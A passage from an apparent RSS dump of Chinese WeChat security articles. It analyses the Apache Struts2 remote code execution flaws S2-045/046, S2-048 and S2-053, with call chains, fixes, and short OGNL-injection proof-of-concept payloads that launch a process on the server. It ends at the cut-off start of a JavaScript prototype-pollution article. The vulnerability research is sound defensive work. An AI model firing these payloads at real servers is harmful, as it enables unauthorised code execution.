src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">这一个漏洞的调用链还是和之前的有很大的不同的，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7535714285714286" data-s="300,640" style="" data-type="png" data-w="1120" src="https://wechat2rss.xlab.app/img-proxy/?k=1d783944&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtkQmMALMLg6yRwkl2qerGOky7XsibSZhzGZXBD8IQKics1VwQa3V6V7qg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">我们这次从Dispatcher类开始分析，这也是ST2刚收到request时候的处理类，当ST2收到的request包包含Content-Type，并且Content-Type中包含“multipart/form-data”的时候会把请求交给MultiPartRequestWrapper处理，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2924187725631769" data-s="300,640" style="" data-type="png" data-w="1662" src="https://wechat2rss.xlab.app/img-proxy/?k=681db2a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYTN2n5Xo81AUnIwgeV4TXw8ypaXcriay69b3E89Nib6AQZuZOlJULwVg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">MultiPartRequestWrapper会使用JakartaMultiPartRequest类去处理上传，文件，当上传文件出错的时候，就会调用buildErrorMessage函数处理报错，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.27798507462686567" data-s="300,640" style="" data-type="png" data-w="1072" src="https://wechat2rss.xlab.app/img-proxy/?k=77168b0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtCM0zrpkAClO4ibsONrlMSIOm8vpoQlkvCuR0WaqQpWwnP4KFXbfdIWw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">接下来，经过几个函数后，报错的信息被传入了TextParseUtil.translateVariables，translateVariables会在后续的调用中将报错信息中用%{}包裹的内容带入ognl.getValue（这些都是前面提到过的了），而这个报错信息，就包含的有我们Content-Type头中的所有内容，从而导致传入ognl中的值攻击者可控，造成了RCE漏洞。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.75" data-s="300,640" style="" data-type="png" data-w="1656" src="https://wechat2rss.xlab.app/img-proxy/?k=c82f4452&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWt3qxSGNCvJxWYGJiclYD1iauJjMicQO6q9f3laFkKicuqiaSqURYMrlwEBZQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p style="text-align: left;"><span style="font-size: 14px;">这个漏洞修复比较简单，就是不把报错的信息放到LocalizedTextUtil.findText函数中去了，从而保证报错的content-type不被带进ognl。</span></p><p style="text-align: left;"><span style="font-size: 14px;background-color: rgb(214, 214, 214);">S2-046的漏洞原理和修复与045一样，区别在于触发报错的方式和ognl表达式的注入点不一样，不再详细分析。</span></p><p><span style="font-size: 14px;background-color: rgb(214, 214, 214);"><br/></span></p><p><span style="font-size: 17px;">S2-048</span></p><p><span style="font-size: 15px;"><strong>适用版本：</strong><strong>使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本</strong></span></p><p><span style="font-size: 14px;">048的利用场景也是比较苛刻的，简单的说是当传入ActionMessage的值是用户可控的情况下，攻击者可以通过传入恶意的payload造成RCE。</span></p><p><span style="font-size: 14px;">示例代码就贴一下官方showcase Demo中可以利用成功的SaveGangsterAction</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">public class SaveGangsterAction extends Action {</span></code><code><span class="code-snippet_outer">    public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {</span></code><code><span class="code-snippet_outer">        GangsterForm gform = (GangsterForm) form;</span></code><code><span class="code-snippet_outer">        ActionMessages messages = new ActionMessages();</span></code><code><span class="code-snippet_outer">        // gform参数的name字段用户可控切被传入了ActionMessage类，满足了攻击条件。</span></code><code><span class="code-snippet_outer">        messages.add(&#34;msg&#34;, new ActionMessage(&#34;Gangster &#34; + gform.getName() + &#34; added successfully&#34;));</span></code><code><span class="code-snippet_outer">        addMessages(request, messages);</span></code><code><span class="code-snippet_outer">        return mapping.findForward(&#34;success&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">这里的poc也是以showcase app中的saveGangster.action作为示例的。 </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">name=${(#glassy=&#39;multipart/form-data&#39;).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder(&#39;/Applications/Notes.app/Contents/MacOS/Notes&#39;)).start())}&amp;age=11&amp;__checkbox_bustedBefore=true&amp;description=22</span></code><span style="display: none;line-height: 0px;">‍</span></pre></section><p><span style="color: rgb(0, 0, 0);text-align: left;"></span></p><p><span style="color: rgb(0, 0, 0);text-align: left;"></span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p style="text-align: left;"><span style="font-size: 14px;">虽然举的例子是SaveGangsterAction，但是漏洞的真正触发点是在Struts1Action，当在ST2中需要去使用ST1的类的时候就需要去调用这个Struts1Action类，像刚刚举例的SaveGangsterAction类中，Action、ActionMapping、ActionMessage、ActionMessages类都是ST1中的。</span></p><p style="text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 14px;">我们先去整体看一下调用链，可以注意到虽然访问的是SaveGangsterAction类，但调用链中还交给Struts1Action去处理的，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7723132969034608" data-s="300,640" style="" data-type="png" data-w="1098" src="https://wechat2rss.xlab.app/img-proxy/?k=2c9040b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtxFILMPajzdGnJghbzg07dTwK945FsYOldQGFh6uV51VTX7RmLzNFKQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">这个调用链跟的比较长，但其实可以跟的很短，这就需要一个良好的ST2漏洞发掘经验，我们可以明确一个思路：</span></p><p style="text-align: left;"><span style="font-size: 14px;background-color: rgb(214, 214, 214);">只要看到可控的参数被传到了TextParseUtil.translateVariables或ActionSupport.getText方法了，就说明这个参数最终会被交给OGNL.getValue。</span></p><p><br/></p><p><span style="font-size: 14px;">直接去跟进Struts1Action.execute，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5027855153203342" data-s="300,640" style="" data-type="png" data-w="1436" src="https://wechat2rss.xlab.app/img-proxy/?k=436d904a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtFWODL4NSrexUPYGqoTvO9Mb8GC9T5v2YdTQF4SVV7ATcFx4d8kQleg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;">其中</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">ActionForward forward = action.execute(mapping, this.actionForm, request, response);</span></code></pre></section><p><br/></p><p><span style="font-size: 14px;">就是去执行SaveGangsterAction的execute方法，然后就去获取传给ActionMessage的值</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">        ActionMessages messages = (ActionMessages)request.getAttribute(&#34;org.apache.struts.action.ACTION_MESSAGE&#34;);</span></code></pre></section><p><span style="font-size: 14px;">最后传给了ActionSupport.getText从而成功在后续的调用中把payload交到了OGNL.getValue中，造成RCE。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">this.addActionMessage(this.getText(msg.getKey()));</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><section style="color: rgb(240, 84, 84);text-indent: 2em;text-align: left;"><span style="color: rgb(0, 0, 0);">修复</span></section></section><section style="text-align: left;white-space: normal;text-indent: 2em;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><span style="font-size: 14px;">这次的修复ST2不是在自己代码中去做的，而是给出了当在ST2中使用struts2-struts1-plugin的规范，以SaveGangsterAction为例</span></p><p><span style="font-size: 14px;">要写成</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">messages.add(&#34;msg&#34;, new ActionMessage(&#34;struts1.gangsterAdded&#34;, gform.getName()));</span></code></pre></section><p><span style="font-size: 14px;">而不能写成</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">messages.add(&#34;msg&#34;, new ActionMessage(&#34;Gangster &#34; + gform.getName() + &#34; was added&#34;));</span></code></pre></section><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">简单的说就是不要把前端可控参数传到ActionMessage的key中，如果真需要把前端可控参数传给ActionMessage，就传到value中。</span></p><p style="text-align: left;"><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;">S2-053</span></p><p><span style="font-size: 15px;"><strong>适用版本：</strong><strong>2.0.0 - 2.3.33 , 2.5 - 2.5.10.1</strong></span></p><p><span style="font-size: 15px;"><strong><br/></strong></span></p><p><span style="font-size: 14px;">053版本的利用条件也比较苛刻，只有服务端将用户可控的参数放到了Freemarker的标签属性中的时候，才会造成RCE，实例写法如下， </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">&lt;@s.url value=&#34;${name}&#34;/&gt;</span></code></pre></section><p><span style="font-size: 14px;">当name参数是客户端传过来的时候，就会在ST2服务器上造成RCE</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><a href="http://www.glassy.com/Struts2Demo_war_exploded/s2053.action?name=%25%7b(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23a%3d(new+java.lang.ProcessBuilder(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27)).start())%7d" target="_blank">http://www.glassy.com/Struts2Demo_war_exploded/s2053.action?name=%25%7b(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23a%3d(new+java.lang.ProcessBuilder(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27)).start())%7d</a></span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">看一下调用链，</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6216216216216216" data-s="300,640" style="" data-type="png" data-w="1110" src="https://wechat2rss.xlab.app/img-proxy/?k=94787661&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtgBI2j2mR7viaXk31S8fPDxA1y7F0WssibmKicZXn9Z2bqib1WVyqGbCjBA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;">因为漏洞触发是发生在ST2返回页面的时候，所以调用链就从StrutsResultSupport.execute开始跟，st2看到返回的页面是Freemarker模板的，所以交给FreemarkerResult类处理，Freemarker在处理的时候需要去找name的值以便生成完整的标签，于是通过ST2去findString，发现name参数是ognl表达式，于是交给了ognl.getValue，造成了rce。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">这次的修复是在FreemarkerManager中多了两行代码，</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"> <span class="code-snippet__selector-tag">LOG</span><span class="code-snippet__selector-class">.debug</span>(&#34;<span class="code-snippet__selector-tag">Sets</span> <span class="code-snippet__selector-tag">NewBuiltinClassResolver</span> <span class="code-snippet__selector-tag">to</span> <span class="code-snippet__selector-tag">TemplateClassResolver</span><span class="code-snippet__selector-class">.SAFER_RESOLVER</span>&#34;, <span class="code-snippet__selector-tag">new</span> <span class="code-snippet__selector-tag">String</span><span class="code-snippet__selector-attr">[0]</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">configuration</span><span class="code-snippet__selector-class">.setNewBuiltinClassResolver</span>(<span class="code-snippet__selector-tag">TemplateClassResolver</span><span class="code-snippet__selector-class">.SAFER_RESOLVER</span>);</span></code></pre></section><p><span style="font-size: 14px;">去看了一下TemplateClassResolver.SAFER_RESOLVER)的官方文档，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">TemplateClassResolver.SAFER_RESOLVER now disallows creating freemarker.template.utility.JythonRuntime and freemarker.template.utility.Execute. This change affects the behavior of the new built-in if FreeMarker was configured to use SAFER_RESOLVER, which is not the default until 2.4 and is hence improbable.</span></code></pre></section><p><br/></p><p><span style="font-size: 14px;">大致意思应该就是禁止了freemarker的RCE，具体我对freemarker不太了解，就不去误人子弟了。</span></p><p><span style="font-size: 14px;"><br/></span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="13014"><section class="KolEditor" style="border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="display:flex;align-items: center;justify-content: center;"><section style="width: 30px;height: 30px;border-radius: 100%;border-width: 1px;border-style: solid;border-color: rgb(248, 212, 151);margin-top: -30px;margin-right: -15px;"></section><section style="padding:5px 20px;background:rgb(57,207,202);"><p class="white title" style="font-size:18px;color:rgb(255,255,255);min-width:1em;">总结</p></section><section style="width: 20px;height: 20px;border-radius: 100%;border-width: 1px;border-style: solid;border-color: rgb(248, 212, 151);margin-left: 5px;"><br/></section></section></section></section><p><span style="font-size: 14px;">这里的总结就通过一个表格去表现了。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5050200803212851" data-s="300,640" style="" data-type="png" data-w="996" src="https://wechat2rss.xlab.app/img-proxy/?k=6d70f5d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtpLpTPDgkXmHqSKFoWGeZ81KMWr2CjDq4apB8bJfNzq93wQHRwLcjmQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247483820">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d246f7af&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247483820%26idx%3D1%26sn%3D2131a3f44101c7c5d190a889b92a7f9f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 24 Oct 2019 10:49:00 +0800</pubDate>
    </item>
    <item>
      <title>Javascript原型链攻击与防御</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483759&amp;idx=1&amp;sn=860f772fa2cd2b4b58c4551cffd29333</link>
      <description>在讲这个漏洞之前我们来理解一下Javascript。与其他的语言不同的是，Js在Es6之前是没有class的，他更多的是一个原型语言，在Js里有一句话很有名——&#34;一切皆对象&#34;</description>
      <content:encoded><![CDATA[<p>
<span>​xsser</span> <span>2019-10-14 17:30</span> <span style="display: inline-block;"></span>
</p>

<p>在讲这个漏洞之前我们来理解一下Javascript。与其他的语言不同的是，Js在Es6之前是没有class的，他更多的是一个原型语言，在Js里有一句话很有名——"一切皆对象"</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b1ccce0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6AicHMNKbqk2DfSNcOJqBy7CkoH4TCQw7hXX00FeQY1p8xz825ynsh2UiahibicjOyoMRAT3hjMBgltg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section class="xmteditor" style="display:none;" data-tools="新媒体管家" data-label="powered by xmt.cn"></section><p><br/></p><section style="max-width: 100%;box-sizing: border-box;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section class="" powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 22px;padding-left: 22px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 16.05px;font-family: 微软雅黑, sans-serif;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="line-height: 16.05px;font-family: 微软雅黑, sans-serif;max-width: 100%;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;">“ NaN!=NaN</span></strong><span style="line-height: 16.05px;font-family: 微软雅黑, sans-serif;max-width: 100%;color: rgb(136, 136, 136);"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">”</strong></span></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="font-size: 17px;line-height: 16.05px;font-family: 微软雅黑, sans-serif;max-width: 100%;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></strong></span></p><section style="max-width: 100%;box-sizing: border-box;min-height: 1em;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-wrap: break-word !important;"><p><span style="font-family: 宋体;font-size: 15px;">在讲这个漏洞之前我们来理解一下Javascript。与其他的语言不同的是，</span><span style="font-size: 15px;font-family: 宋体;"><span style="font-size: 15px;font-family: Calibri;">Js</span><span style="font-size: 15px;font-family: 宋体;">在</span><span style="font-size: 15px;font-family: Calibri;">Es6</span><span style="font-size: 15px;font-family: 宋体;">之前是没有</span><span style="font-size: 15px;font-family: Calibri;">class</span><span style="font-size: 15px;font-family: 宋体;">的，他更多的是一个原型语言，在</span><span style="font-size: 15px;font-family: Calibri;">Js</span><span style="font-size: 15px;font-family: 宋体;">里有一句话很有名——</span><span style="font-size: 15px;font-family: Calibri;">&#34;</span><span style="font-size: 15px;font-family: 宋体;">一切皆对象</span>&#34;</span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><br/></p></section><p><br/></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p></section></section></section></section></section></section></section></section><section style="max-width: 100%;box-sizing: border-box;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section class="" powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 20px;padding-left: 20px;max-width: 100%;box-sizing: border-box;line-height: 0.8;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 17px;overflow-wrap: break-word !important;">01</span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;color: rgb(26, 173, 25);font-size: 17px;overflow-wrap: break-word !important;">—</span><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;color: rgb(26, 173, 25);font-size: 20px;overflow-wrap: break-word !important;"></span></p></section></section></section></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 17px;">什么是原型语言</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><ol class=" list-paddingleft-2" style="list-style-type: decimal;"><li><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">只有对象,没有类;对象继承对象,而不是类继承类。</span></p></li><li><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="color: rgb(63, 63, 63);font-family: 宋体, SimSun;letter-spacing: 0.544px;text-indent: 28px;widows: 1;background-color: 